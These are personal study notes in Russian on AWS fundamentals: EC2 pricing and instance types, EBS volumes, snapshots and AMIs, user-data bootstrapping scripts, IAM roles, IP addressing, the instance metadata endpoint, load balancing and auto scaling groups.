11. EC2 Виртуальные серверы (Elastic Compute Cloud)

!!! Elastic - в aws все эластик. Изменяемый: размер, кол-во, производительность, качество, все... 
instance - серверы

виды:
Instances  ---> On Demand (для тестов, дорого, следующий логичный переход это на Reserved )
Spot Requests ---> Spot
Reserved Instances ---> Reserved(1-3years) (на долгий срок и дешевле на 70% при полной оплате)
Dedicated Hosts ---> Вас переместят на отдельный сервер \ как бы аренда железного сервера \ полезно для ПО которое  использует привязку к железу для своей защиты лицензии
Scheduled Instances ---> Scheduled Reserved(daily, weekly, mounthly)

!!!On Demand ---> Оплата серверов по часовая. Даже если вы его включили на 5 минут.
!!!Spot ---> Ставки \ Работают по определенному времени \ договору \ деньгам \ по часовая оплата \ за последний час если такой Spot instance падает по вине aws (например поднялась цена) вы не платите
!!!Reserved ---> Контракт на несколько лет(от одного до трех лет) и три вида оплаты: Оплата сейчас; Оплата частично(частями); Полная оплата(на 70% дешевле).

Типы серверов:
t2.nano - 1vCPUs - 0.5(GiB) RAM 
t2.micro - 1vCPUs - 1(GiB) RAM 
t2.small - 1vCPUs - 2(GiB) RAM 
t2.medium - 2vCPUs - 4(GiB) RAM 

T - General Purpose 
M - General Purpose
C - Compute Optimized (производительнее чем T,M)
F - FPGA OPtimized (что-то для программистов)
G,P - GPU Optimized (сервера с видеокартами)
X,R - RAM Memory Optimized (сервера на которых много оперативки)
D,I - Storage Optimized
!!!Тип сервера всегда можно изменить (выключаешь instance и меняешь его тип)


2 - второе поколение сервера

1vCPUs ~ 2.5Ghz (естественно не для всех типов)


EBS - Elastic Block Store - диски
Типы дисков / два вида / можно загружаться root-boot / нельзя загружаться other:
Root-boot:
General Purpose SSD (GP2) up to 10.000 iops - Быстрые
Provisioned IOPS SSD (IO1) up to 20.000 iops - Очень быстрые
Magnetic - медленно

other:
General Purpose SSD (GP2) up to 10.000 iops - Быстрые
Provisioned IOPS SSD (IO1) up to 20.000 iops - Очень быстрые
Cold HDD (SC1) - медленно - тот же Magnetic
Throughput Optimized HDD (ST1)- медленно - тот же Magnetic только более производительный
Magnetic - медленно

12. AWS — виртуальные серверы EC2 — volume, snapshot

Instance - виртуальный сервер
Volume - HDD/SSD диск
Snapshot - резервная копия volume
AMI - резервная копия instance

AMI - Amazon Machine image (GOLDEN COPY)

Загрузится с диска snapshot не возможно. Snapshot можно подключить диском к любому instance.

Для полной резервной копии(которую можно будет загрузить) нужно выполнить AMI.
 
Snapshot можно скопировать в другой регион, подключить диск к пк.
AMI - можно скопировать в другой регион и там развернуть instance.
При создании AMI создаются snapshot'ы volums...

13. bootstrapping

Bootstaraping - позволяет при установке Instance выполнить любой скрипт. 
Скрипт запускается только один раз при установке Instance.

New Instance -> Configure Instance Details -> Advanced Details -> User data


Для Linux (Amazon) пример скрипта bash для bootstrapping
#!/bin/bash
echo "---start---"
yum -y update
yum -y install httpd
echo " 

hello world

" > /var/www/html/index.html service httpd start chkconfig httpd on cat netumenya.txt echo "UserData executed on $(date)" >> /var/www/html/log.txt echo "---finish---" Лог выполнения скрипта можно посмотреть в instance: less /var/log/cloud-init-output.log Для Windows это могут быть скрипты bat или ps1. Пример скрипта на powershell для bootstrap instance windows: Write-Host "----START of PowerShell Script------" Add-WindowsFeature web-server Set-Content c:\Users\Administrator\Desktop\test.txt "UserData executed on $(Get-Data)" Rename-Computer -NewName MYCOMPUKTER Add-Content c:\User\Administrator\Desktop\test.txt "------TestFile-------" Get-Service | Out-File c:\Users\Administrator\Desktop\test.txt -Append | Format-Table Test-Connection www.google.com | Out-File c:\Users\Administrator\Desctop\test.txt -Append | Format-Table Write-Host "----END of PowerShell Script" Лог выполнения скриптов в Windows искать тут: Windows 2019: C:\ProgramData\Amazon\EC2-Windows\Launch\UserdataExecution.log Windows 2016: C:\ProgramData\Amazon\EC2-Windows\Launch\UserdataExecution.log Windows 2012: C:\Program Files\Amazon\Ec2ConfigService\Logs\Ec2ConfigLog.txt Windows 2008: C:\Program Files\Amazon\Ec2ConfigService\Logs\Ec2ConfigLog.txt С каким скриптом запускался instance всегда можно посмотреть. #### раньше так было Instance -> ПКМ на Instance -> View/Change User Data Instance -> ПКМ на Instance -> Instance settings -> Edit User Data












13. EC2 и IAM Roles \ роли

Роли позволяют настроить различные права доступа. 
Роли глобальные, действуют на все регионы и instance.
Роль к instance можно подключить только одну.
Роль можно подключить при установке instance.


AWS service - EC2, Lambda and others
Another AWS account - Belonging to you or 3rd party
Web identity - Cognito or any OpenID provider
SAML 2.0 federation - Your corporate directory

для чего \ куда дать \ какие права доступа

EC2 \ S3 bucket \ S3FullAccess
EC2 \ S3 bucket \ S3ReadOnly

14. AWS IP адресация

Private IP - адрес доступный внутри сети ( внутренний \ локальный \ за маршрутизатором )
Public IP - адрес доступный в интернете (внешний)
Elastic IP - адрес доступный в интернете

Private IP - ПК доступен в внутренней сети vpc, постоянный и не изменяется
Public IP - ПК доступен в интернете, временный, Изменяется при Stop\Start не изменяется при Reboot сервера
Elastic IP - ПК доступен в интернете, постоянный и не изменяется, если создали и не прикрепили к ПК то будете платить деньги за этот IP, максимально по умолчанию у вас может быть 5 таких адресов.




15. Данные о сервере EC2 http://169.254.169.254/lates/meta-data/

Можно получить данные: ami-id, ami-launch-index, ami-manifest-path, block-device-mapping/ , events/ , 
hibernation/, hostname, identity-credentials/, instance-action, instance-id, instance-life-cycle, instance-type,
local-hostname, local-ipv4, mac, metrics/, network/, placement/, profile, public-hostname, public-ipv4, public-keys/,
reservation-id, security-groups и многое другое...

Примеры для linux:
curl http://169.254.169.254/
curl http://169.254.169.254/lates/meta-data/
curl http://169.254.169.254/lates/meta-data/local-ipv4
curl http://169.254.169.254/latest/meta-data/mac

16. Elastic Load Balancer

балансировка http / https трафика

17. AWS Auto scaling Group

Авто клонирование серверов для улучшения производительности.

Horozontal scaling

Auto Scaling Group
Subnet in AZ - Какие AZ использовать для запуска серверов
Min - Минимальное количество Running серверов
Max - Максимальное количество Running северов
Desired - Желаемое текущее количество серверов (при запуске)
LoadBalancer - Какой EBL присоединить ко всем серверам
Scale OUT - Когда добавлять серверы
Scale IN - Когда убивать серверы